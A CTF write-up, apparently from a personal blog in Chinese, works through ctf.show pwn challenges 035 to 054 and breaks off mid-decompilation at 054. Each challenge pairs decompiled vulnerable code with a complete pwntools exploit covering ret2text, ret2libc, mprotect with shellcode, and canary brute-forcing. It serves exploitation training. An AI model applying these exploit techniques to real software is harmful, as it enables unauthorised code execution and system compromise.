刷题
pwn_035
正式开始栈溢出了,先来一个最最最最简单的吧

ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ FILE *stream; // [esp+0h] [ebp-1Ch]
stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(flag, 64, stream); signal(11, (__sighandler_t)sigsegv_handler); puts(asc_8048910); puts(asc_8048984); puts(asc_8048A00); puts(asc_8048A8C); puts(asc_8048B1C); puts(asc_8048BA0); puts(asc_8048C34); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : See what the program does! "); puts(" * ************************************* "); puts("Where is flag?\n"); if ( argc <= 1 ) { puts("Try again!"); } else { ctfshow((char *)argv[1]); printf("QaQ!FLAG IS NOT HERE! Here is your input : %s", argv[1]); } return 0;}
void __noreturn sigsegv_handler(){ fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1);}
char *__cdecl ctfshow(char *src){ char dest[104]; // [esp+Ch] [ebp-6Ch] BYREF
return strcpy(dest, src);}审计之后可以看到,漏洞存在于ctfshow函数中,其从命令行接收一段字符,然后传给strcpy,将命令行接收到的字符串src复制到dest中,dest长度为104字节.这就是漏洞点,可以打栈溢出漏洞.
输出flag的逻辑再sigsegv_handler函数中,而可以让该函数执行的点在于signal()函数,当其接收到的信号为11的时候,才会执行sigsegv_handler函数,输出flag,也就是当应用程序试图对无权访问的内存地址进行读写操作的时候,就会触发.也就是我们只需要传入比104字节大的字符串,就可以触发该信号,继而拿到flag:

pwn_036
存在后门函数,如何利用?
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, 0, 2, 0); puts(asc_804883C); puts(asc_80488B0); puts(asc_804892C); puts(asc_80489B8); puts(asc_8048A48); puts(asc_8048ACC); puts(asc_8048B60); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : There are backdoor functions here! "); puts(" * ************************************* "); puts("Find and use it!"); puts("Enter what you want: "); ctfshow(&argc); return 0;}
char *ctfshow(){ char s[36]; // [esp+0h] [ebp-28h] BYREF
return gets(s);}
int get_flag(){ char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); return printf(s);}一共三个函数,分析一下,发现ctfshow函数中是gets接收36字节大小的字符串,并且前后并没有限制用户输入,标准的栈溢出.同时给了获取flag的后门函数get_flag.
所以攻击思路是构造栈溢出,修改返回地址为get_flag,执行get_flag获取flag.接下来计算偏移,这里我们通过ida可以直接看出偏移量为0x28 + 0x04可以覆盖到返回地址:

编写exp,获取flag
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')
get_flag = 0x08048586
offset = 0x28 + 0x04payload = b'A' * offset + p32(get_flag)
sh.sendlineafter(b'Enter what you want: ', payload)
sh.interactive()
pwn_037
32位的 system(“/bin/sh”) 后门函数给你
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ init(&argc); logo(); puts("Just very easy ret2text&&32bit"); ctfshow(); puts("\nExit"); return 0;}
ssize_t ctfshow(){ _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);}
int backdoor(){ system("/bin/sh"); return 0;}漏洞点在ctfshow中的read中,buf的空间只有0x14字节,但是却能读取0x32字节的数据,所以就可以溢出.攻击思路很简单,输入0x12+0x04个字节覆盖到返回地址,修改返回地址为backdoor函数即可获取 shell.
编写exp:
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# get_flag = 0x08048586back_door = elf.symbols['backdoor']
offset = 0x12 + 0x04payload = b'A' * offset + p32(back_door)
sh.sendlineafter(b'Just very easy ret2text&&32bit', payload)
sh.interactive()
pwn_038
64位的 system(“/bin/sh”) 后门函数给你
ida反编译
int __fastcall main(int argc, const char **argv, const char **envp){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts(s); puts(asc_400890); puts(asc_400910); puts(asc_4009A0); puts(asc_400A30); puts(asc_400AB8); puts(asc_400B50); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : It has system and '/bin/sh'.There is a backdoor function"); puts(" * ************************************* "); puts("Just easy ret2text&&64bit"); ctfshow(); puts("\nExit"); return 0;}
ssize_t ctfshow(){ _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32u);}
__int64 backdoor(){ system("/bin/sh\n"); return 0;}与前面一题逻辑上一样,不同的是,上一题是32位程序,而本题为64位程序,64位程序在构造溢出时要考虑到堆栈平衡的问题.所以先用ROPgadget找到一个ret:

编写exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process("./pwn")# sh = remote("ip", port)
elf = ELF("./pwn")# get_flag = 0x08048586back_door = elf.symbols["backdoor"]ret_addr = 0x400287
offset = 0x0A + 0x08payload = b"A" * offset + p64(ret_addr) + p64(back_door)
sh.sendlineafter(b"Just easy ret2text&&64bit", payload)
sh.interactive()
pwn_039
32位的 system(); “/bin/sh”
前面两道题考察的时有backdoor()函数,也就是有system('/bin/sh')的情况,本题考察的是32位下有system()和/bin/sh字符串的情况下,如何组成system("/bin/sh")获取shell.
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, nullptr, 2, 0); setvbuf(stdin, nullptr, 2, 0); puts(asc_804876C); puts(asc_80487E0); puts(asc_804885C); puts(asc_80488E8); puts(asc_8048978); puts(asc_80489FC); puts(asc_8048A90); puts(" * ************************************* "); puts(aClassifyCtfsho); puts(" * Type : Stack_Overflow "); puts(" * Site : https://ctf.show/ "); puts(" * Hint : It has system and '/bin/sh',but they don't work together"); puts(" * ************************************* "); puts("Just easy ret2text&&32bit"); ctfshow(&argc); puts("\nExit"); return 0;}
ssize_t __cdecl ctfshow(){ _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);}
int hint(){ puts("/bin/sh"); return system("echo 'You find me?'");}read的栈溢出,没什么说的,如何设置system()函数的参数为/bin/sh呢:
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')
ret_addr = 0x08048356bin_sh = 0x08048750system_plt = elf.plt["system"]
offset = 0x12 + 0x04payload = b'A' * offset + p32(system_plt) + p32(ret_addr)+ p32(bin_sh)
sh.sendlineafter(b'Just easy ret2text&&32bit', payload)
sh.interactive()
pwn_040
64位的 system(); “/bin/sh”
与上题一样,有system有binsh,构造system("/bin/sh"),不过本题时64位的,构造的时候需要使用到rdi寄存器,先把/bin/sh传入rdi寄存器中,然后再设置ret地址来执行system().
exp:
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')
pop_rdi = 0x04007e3bin_sh = 0x400808system_plt = elf.plt["system"]ret_addr = 0x04004feoffset = 0x0A + 0x08payload = b'A' * offset + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(system_plt)# gdb.attach(sh)sh.sendlineafter(b'Just easy ret2text&&64bit', payload)sh.interactive()pwn_041
32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, nullptr, 2, 0); setvbuf(stdin, nullptr, 2, 0); logo(&argc); ctfshow(); puts("\nExit"); return 0;}
ssize_t ctfshow(){ _BYTE buf[14]; // [esp+6h] [ebp-12h] BYREF
return read(0, buf, 0x32u);}
int hint(){ system("echo flag"); return 0;}
int useful(){ return printf("sh");}有system(),没有/bin/sh,但是有sh,可以选择利用sh来获取shell,但是需要再最后发送\x00.
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')
ret_addr = 0x08048376sh_addr = 0x080487basystem_plt = elf.plt["system"]
offset = 0x12 + 0x04payload = b'A' * offset + p32(system_plt) + p32(ret_addr)+ p32(sh_addr)# gdb.attach(sh)sh.sendline(payload)sh.send('\x00')sh.interactive()pwn_042
64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代
ida反编译:
int __fastcall main(int argc, const char **argv, const char **envp){ setvbuf(stdout, nullptr, 2, 0); setvbuf(stdin, nullptr, 2, 0); logo(); ctfshow(); puts("\nExit"); return 0;}
ssize_t ctfshow(){ _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0, buf, 0x32u);}
__int64 hint(){ system("echo flag"); return 0;}
int useful(){ return printf("sh");}64位的有system()无/bin/sh,但是有sh
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')
ret_addr = 0x000000000040053esh_addr = 0x0000000000400872pop_rdi_ret = 0x0000000000400843system_plt = elf.plt["system"]
offset = 0x0A + 0x08payload = b'A' * offset + p64(pop_rdi_ret) + p64(sh_addr) + p64(ret_addr)+ p64(system_plt)# gdb.attach(sh)sh.sendline(payload)sh.send('\x00')sh.interactive()pwn_043
32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ init(); logo(); ctfshow(); return 0;}
char *ctfshow(){ char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
return gets(s);}
int hint(){ time_t seed; // eax int result; // eax int v2; // [esp+8h] [ebp-10h] BYREF int v3; // [esp+Ch] [ebp-Ch]
seed = time(nullptr); srand(seed); v3 = rand(); __isoc99_scanf("%d", &v2); result = v2; if ( v3 == v2 ) return system("where is shell?"); return result;}有system()无/bin/sh,也没有sh,这里我们利用gets()将/bin/sh字符串读取到bss可读可写段中,然后再将这一段地址给system(),即可构造出system("/bin/sh").

可以看到,这段地址是公开的,所以往这里写/bin/sh即可
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')
ret_addr = 0x080483f2buf = 0x0804B060system_plt = elf.plt["system"]gets_plt = elf.plt["gets"]
offset = 0x6C + 0x04payload = b'A' * offset + p32(gets_plt) + p32(system_plt)+ p32(buf) + p32(buf)# gdb.attach(sh)sh.sendline(payload)sh.send('/bin/sh\x00')sh.interactive()pwn_044
64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
ida反编译
int __fastcall main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); logo(); puts("get system parameter!"); ctfshow(); return 0;}
__int64 ctfshow(){ _BYTE v1[10]; // [rsp+6h] [rbp-Ah] BYREF
return gets(v1);}
int hint(){ return system("no shell for you");}与上题解题思路一样,只是64位程序:

exp:
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')
buf = 0x0602080pop_rdi_ret = 0x04007f3system_plt = elf.plt["system"]gets_plt = elf.plt["gets"]
offset = 0x0A + 0x08
payload = b'A' * offsetpayload += p64(pop_rdi_ret)payload += p64(buf)payload += p64(gets_plt)payload += p64(pop_rdi_ret)payload += p64(buf)payload += p64(system_plt)
# gdb.attach(sh)sh.sendline(payload)sh.send('/bin/sh\x00')sh.interactive()pwn_045
32位 无 system 无 “/bin/sh”
无system()和/bin/sh的解题思路就是通过泄露libc基址来获取动态链接库libc中的system()和/bin/sh的地址.libc的基址是通过泄露got表的地址计算得出的,
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ init(&argc); logo(); puts("O.o?"); ctfshow(); write(0, "Hello CTFshow!\n", 0xEu); return 0;}
ssize_t ctfshow(){ _BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
return read(0, buf, 0xC8u);}exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')libc = ELF("/lib32/libc.so.6")
main_addr = elf.sym["main"]puts_got = elf.got["puts"]puts_plt = elf.plt["puts"]star_addr = elf.symbols['_start']write_plt = elf.plt["write"]ret_addr = 0x08048356# puts(puts_got)offset = 0x6B + 0x04payload = b'A' * offsetpayload += p32(puts_plt)payload += p32(star_addr)payload += p32(puts_got)
# write(1, puts_got, 4)p2 = b'A' * offsetp2 += p32(write_plt)p2 += p32(star_addr)p2 += p32(1)p2 += p32(puts_got)p2 += p32(4)
# gdb.attach(sh)sh.sendline(payload)puts_real_addr = u32(sh.recvuntil(b'\xf7')[-4:])print(hex(puts_real_addr))
libc_base = puts_real_addr - libc.sym["puts"]system_addr = libc_base + libc.sym["system"]bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_basep = b"A" * offsetp += p32(system_addr)p += p32(ret_addr)p += p32(bin_sh)
sh.sendline(p)
sh.interactive()pwn_046
64位 无 system 无 “/bin/sh”
ida反编译:
int __fastcall main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); logo(); puts("O.o?"); ctfshow(); write(0, "Hello CTFshow!\n", 0xEu); return 0;}
ssize_t ctfshow(){ _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF
return read(0, buf, 0xC8u);}溢出后利用puts或者write泄露got地址,算出基地址后构造system("/bin/sh")
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(elf)
main_addr = elf.sym["main"]puts_got = elf.got["puts"]puts_plt = elf.plt["puts"]star_addr = elf.symbols['_start']write_plt = elf.plt["write"]pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]ret_addr = rop.find_gadget(['ret'])[0]
log.success(f"pop_rdi_ret: {hex(pop_rdi_ret)}")log.success(f"pop_rsi_r15: {hex(pop_rsi_r15)}")log.success(f"ret_addr: {hex(ret_addr)}")
log.info("================================== stage 1 : leaking Libc =====================================================")# puts(puts_got)offset = 0x70 + 0x08p1 = b'A' * offsetp1 += p64(pop_rdi_ret)p1 += p64(puts_got)p1 += p64(puts_plt)p1 += p64(main_addr)
# write(1, puts_got, 4)p2 = b'A' * offsetp2 += p64(pop_rdi_ret)p2 += p64(1)p2 += p64(pop_rsi_r15)p2 += p64(puts_got)p2 += p64(0)p2 += p64(write_plt)p2 += p64(main_addr)
# gdb.attach(sh)sh.sendline(p1)puts_real_addr = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))log.success(f"puts_real_addr: {hex(puts_real_addr)}")
log.info("================================= stage 2 : Getting shell ========================================================")
libc_base = puts_real_addr - libc.sym["puts"]system_addr = libc_base + libc.sym["system"]bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p = b"A" * offsetp += p64(pop_rdi_ret)p += p64(bin_sh)p += p64(ret_addr)p += p64(system_addr)
sh.sendline(p)
sh.interactive()pwn_047
ez ret2libc
ida反编译:
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, nullptr, 2, 0); logo(&argc); puts("Give you some useful addr:\n"); printf("puts: %p\n", &puts); printf("fflush %p\n", &fflush); printf("read: %p\n", &read); printf("write: %p\n", &write); printf("gift: %p\n", useful); // "/bin/sh" putchar(10); ctfshow(); return 0;}
int ctfshow(){ char s[152]; // [esp+Ch] [ebp-9Ch] BYREF
puts("Start your show time: "); gets(s); return puts(s);}%p打印的出来的是函数在内存中的地址,程序给我们了这些函数的libc中的地址以及/bin/sh的地址,所以我们只需要利用给出的地址算出libc基址,计算出system()函数的地址即可.


exp
#!/usr/bin/env python3
from pwn import *from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')libc = ELF("/lib32/libc.so.6")rop = ROP(elf)
main_addr = elf.sym['main']ret_addr = rop.find_gadget(['ret'])[0]
log.info("===============================Give you some useful addr: =========================================")sh.recvuntil(b"puts: ")puts_addr = int(sh.recvline().strip(), 16)sh.recvuntil(b'fflush ')fflush_addr = int(sh.recvline().strip(), 16)sh.recvuntil(b'read: ')read_addr = int(sh.recvline().strip(), 16)sh.recvuntil(b"write: ")write_addr = int(sh.recvline().strip(), 16)sh.recvuntil(b"gift: ")gitf_addr = int(sh.recvline().strip(), 16)
log.success(f"ret: {hex(ret_addr)}, puts_addr: {hex(puts_addr)}, write_addr: {hex(write_addr)}, fflush_addr: {hex(fflush_addr)}, read_addr: {hex(read_addr)}, gitf_addr: {hex(gitf_addr)}")
log.info("==============================================libc======================================================")
libc = LibcSearcher('puts', puts_addr)libc.add_condition('read', read_addr)
libc_base = puts_addr - libc.dump('puts')system_addr = libc_base + libc.dump('system')bin_sh = gitf_addr
offset = 0x9C + 0x04
p1 = b"A" * offsetp1 += p32(system_addr)p1 += p32(ret_addr)p1 += p32(bin_sh)
sh.sendline(p1)
sh.interactive()pwn_048
没有write了,试试用puts吧,更简单了呢
ida
int __cdecl main(int argc, const char **argv, const char **envp){ init(&argc); logo(); puts("O.o?"); ctfshow(); return 0;}ssize_t ctfshow(){ _BYTE buf[103]; // [esp+Dh] [ebp-6Bh] BYREF
return read(0, buf, 0xC8u);}首先利用puts@plt和puts@got泄露puts的真实地址,然后计算libc的基址即可.
用LibcSearcher没有找到对应的libc

使用手动计算的办法:
#!/usr/bin/env python3
from pwn import *from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')libc = ELF("/lib32/libc.so.6")rop = ROP(elf)
main_addr = elf.sym['main']ret_addr = rop.find_gadget(['ret'])[0]puts_plt = elf.plt['puts']puts_got = elf.got['puts']read_got = elf.got['read']
offset = 0x6B + 0x04
p1 = b"A" * offsetp1 += p32(puts_plt)p1 += p32(main_addr)p1 += p32(puts_got)
sh.sendline(p1)
puts_real_addr = u32(sh.recvuntil(b"\xf7")[-4:])p3 = b"A" * offsetp3 += p32(puts_plt)p3 += p32(main_addr)p3 += p32(read_got)
sh.sendline(p3)read_real_addr = u32(sh.recvuntil(b"\xf7")[-4:])log.success(f"puts_real_addr: {hex(puts_real_addr)}, read_real_addr: {hex(read_real_addr)}")
# use LibcSearcher# libc = LibcSearcher('puts', puts_real_addr)# libc.add_condition('read', read_real_addr)
# libc_base = puts_real_addr - libc.dump('puts')# system = libc_base + libc.dump('system')# bin_sh = libc.dump('str_bin_sh')
# use
libc_base = puts_real_addr - libc.sym['puts']system = libc_base + libc.sym['system']bin_sh = libc.search(b'/bin/sh\x00').__next__() + libc_base
p2 = b"A" * offsetp2 += p32(system)p2 += p32(ret_addr)p2 += p32(bin_sh)
sh.sendline(p2)
sh.interactive()pwn_049
静态编译?或许你可以找找mprotect函数
ida
int __cdecl main(int argc, const char **argv, const char **envp){ init_0(); logo(); ctfshow(); return 0;}
int ctfshow(){ _BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF
return _libc_read(0, v1, 100);}提示我们是静态编译文件,利用mprotect函数和栈溢出修改内存页的读写属性,更改为可读可写可执行,然后在里面写入shellcode进行执行,拿到shell.
mprotect()的格式是:
int mprotect(void * addr, size_t len, int prot)exp
#!/usr/bin/env python3
from pwn import *from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')libc = ELF("/lib32/libc.so.6")rop = ROP(elf)
mprotect_addr = elf.sym['mprotect']read_addr = elf.sym['read']addr = 0x080da000ret_addr = rop.find_gadget(['pop eax', 'pop edx', 'pop ebx', 'ret'])[0]
log.success(f"mprotect_addr: {hex(mprotect_addr)}, read_addr: {hex(read_addr)}, ret_addr: {hex(ret_addr)}")
offset = 0x12 + 0x04
shellcode = asm(shellcraft.sh(), arch = "i386", os = "linux")
p1 = b"A" * offsetp1 += p32(mprotect_addr)# p1 += p32(0x8056194)p1 += p32(ret_addr)p1 += p32(addr)p1 += p32(0x1000)p1 += p32(7)p1 += p32(read_addr)p1 += p32(addr)p1 += p32(0x0)p1 += p32(addr)p1 += p32(len(shellcode))
sh.sendline(p1)sh.sendline(shellcode)sh.interactive()pwn_050
好像哪里不一样了
远程libc环境 Ubuntu 18
ida
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); logo(); ctfshow(); exit(0);}
__int64 ctfshow(){ _BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Hello CTFshow"); return gets(v1);}exp
#!/usr/bin/env python3
from pwn import *from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# libc = ELF("/lib32/libc.so.6")rop = ROP(elf)
main_addr = elf.sym['main']ret_addr = rop.find_gadget(['ret'])[0]pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]puts_plt = elf.plt['puts']puts_got = elf.got['puts']offset = 0x20 + 0x08
log.success(f"ret_addr: {hex(ret_addr)}, pop_rdi_ret: {hex(pop_rdi_ret)}")
log.info("=============================steg1: leaking libc=========================")
p = b"A" * offsetp += p64(pop_rdi_ret)p += p64(puts_got)p += p64(puts_plt)p += p64(main_addr)
sh.sendline(p)
log.info("=============================steg2: geting shell===========================")puts_addr = u64(sh.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))log.success(f"puts_addr: {hex(puts_addr)}")
libc = LibcSearcher('puts', puts_addr)libc_base = puts_addr - libc.dump('puts')system = libc_base + libc.dump('system')# bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()bin_sh = libc_base + libc.dump('str_bin_sh')
log.success(f"libc_base: {hex(libc_base)}, system: {hex(system)}, bin_sh: {hex(bin_sh)}")
p1 = b"A" * offsetp1 += p64(pop_rdi_ret)p1 += p64(bin_sh)p1 += p64(ret_addr)p1 += p64(system)
sh.sendline(p1)sh.interactive()pwn_051
I‘m IronMan
ida:
int sub_8049059(){ int v0; // eax int v1; // eax unsigned int i_1; // eax int v3; // eax const char *src; // eax int v6; // [esp-Ch] [ebp-84h] int v7; // [esp-8h] [ebp-80h] _BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF char s[32]; // [esp+Ch] [ebp-6Ch] BYREF _BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF _BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF unsigned int i; // [esp+5Ch] [ebp-1Ch]
memset(s, 0, sizeof(s)); puts("Who are you?"); read(0, s, 0x20u); std::string::operator=(&unk_804D0A0, &unk_804A350); std::string::operator+=(&unk_804D0A0, s); std::string::basic_string(v10, &unk_804D0B8); std::string::basic_string(v11, &unk_804D0A0); sub_8048F06(v8); std::string::~string(v11, v11, v10); std::string::~string(v10, v6, v7); if ( sub_80496D6(v8) > 1u ) { std::string::operator=(&unk_804D0A0, &unk_804A350); v0 = sub_8049700(v8, 0); if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) ) { v1 = sub_8049700(v8, 0); std::string::operator+=(&unk_804D0A0, v1); } for ( i = 1; ; ++i ) { i_1 = sub_80496D6(v8); if ( i_1 <= i ) break; std::string::operator+=(&unk_804D0A0, "IronMan"); v3 = sub_8049700(v8, i); std::string::operator+=(&unk_804D0A0, v3); } } src = (const char *)std::string::c_str(&unk_804D0A0); strcpy(s, src); printf("Wow!you are:%s", s); return sub_8049616(v8);}
int sub_804902E(){ return system("cat /ctfshow_flag");}输入一个I会输出IronMan,注意到再输出s之前会先进行strcpy(s, src);,这里就是我们栈溢出的点.

exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(elf)
main_addr = 0x08049059puts_plt = elf.plt['puts']puts_got = elf.plt['puts']ret_addr = rop.find_gadget(['ret'])[0]back_door = 0x0804902E
offset = (0x6C + 0x04) // 0x07p = b'I' * offsetp += p32(back_door)
sh.sendline(p)sh.interactive()pwn_052
迎面走来的flag让我如此蠢蠢欲动
ida
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, nullptr, 2, 0); logo(&argc); puts("What do you want?"); ctfshow(); return 0;}
int ctfshow(){ char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
gets(s); return puts(s);}
char *__cdecl flag(int n876, int n877){ char *result; // eax char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } result = fgets(s, 64, stream); if ( n876 == 876 && n877 == 877 ) return (char *)printf(s); return result;}通过溢出执行flag函数,并且传入满足n876 == 876 && n877 == 877的两个参数即可
#!/usr/bin/env python3
from pwn import *from LibcSearcher import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# libc = ELF("/lib32/libc.so.6")rop = ROP(elf)
flag_addr = elf.sym['flag']ret_addr = rop.find_gadget(['ret'])[0]
offset = 0x6C + 0x04p = b"A" * offsetp += p32(flag_addr)p += p32(ret_addr)p += p32(876)p += p32(877)
sh.sendline(p)
sh.interactive()pwn_053
再多一眼看一眼就会爆炸
ida
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(stdout, nullptr, 2, 0); logo(&argc); canary(); ctfshow(); return 0;}
int canary(){ FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen("/canary.txt", "r"); if ( !stream ) { puts("/canary.txt: No such file or directory."); exit(0); } fread(&global_canary, 1u, 4u, stream); return fclose(stream);}
int ctfshow(){ size_t nbytes; // [esp+4h] [ebp-54h] BYREF _DWORD v2[8]; // [esp+8h] [ebp-50h] BYREF _BYTE buf[32]; // [esp+28h] [ebp-30h] BYREF int s1; // [esp+48h] [ebp-10h] BYREF int n31; // [esp+4Ch] [ebp-Ch]
n31 = 0; s1 = global_canary; printf("How many bytes do you want to write to the buffer?\n>"); while ( n31 <= 31 ) { read(0, (char *)v2 + n31, 1u); if ( *((_BYTE *)v2 + n31) == 10 ) break; ++n31; } __isoc99_sscanf(v2, "%d", &nbytes); printf("$ "); read(0, buf, nbytes); if ( memcmp(&s1, &global_canary, 4u) ) { puts("Error *** Stack Smashing Detected *** : Canary Value Incorrect!"); exit(-1); } puts("Where is the flag?"); return fflush(stdout);}
int flag(){ char s[64]; // [esp+Ch] [ebp-4Ch] BYREF FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("/ctfshow_flag", "r"); if ( !stream ) { puts("/ctfshow_flag: No such file or directory."); exit(0); } fgets(s, 64, stream); puts(s); return fflush(stdout);}首先栈溢出泄露出canary来绕过memcmp(&s1, &global_canary, 4u)检查,然后再执行flag函数.
exp
#!/usr/bin/env python3
from pwn import *
context(os="linux", arch="i386", log_level="debug", terminal=["tmux", "splitw", "-h"])
# sh = process('./pwn')# sh = remote("ip", port)elf = ELF('./pwn')# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")rop = ROP(elf)
flag_addr = elf.sym['flag']ret_addr = rop.find_gadget(['ret'])[0]
offset = 0x30 + 0x04
canary = b''for i in range(4): for c in range(256): sh = process('./pwn') sh.sendlineafter(b'>',b'100000') sh.sendafter(b"$ ",b"A" * 0x20 + canary + p8(c)) data = str(sh.recv()) log.info(f"data: {data}") if "Canary Value Incorrect!" not in data: canary += p8(c) log.success(f"canary: {canary}") break else: log.warning("no!") sh.close()log.success(f"canary ==========> {canary}")sh = process('./pwn')
# gdb.attach(sh)p = b"A" * 0x20p += canaryp += p32(0) * 4p += p32(flag_addr)
sh.sendlineafter(b">", b'1000000')sh.sendafter(b'$ ',p)sh.interactive()pwn_054
再近一点靠近点快被融化
ida
int __cdecl main(int argc, const char **argv, const char **envp){ char s1[64]; // [esp+0h] [ebp-1A0h] BYREF char s_1[256]; // [esp+40h] [ebp-160h] BYREF char s[64]; // [esp+140h] [ebp-60h] BYREF FILE *stream; // [esp+180h] [ebp-20h] char *v8; // [esp+184h] [ebp-1Ch] int *p_argc; // [esp+194h] [ebp-Ch]
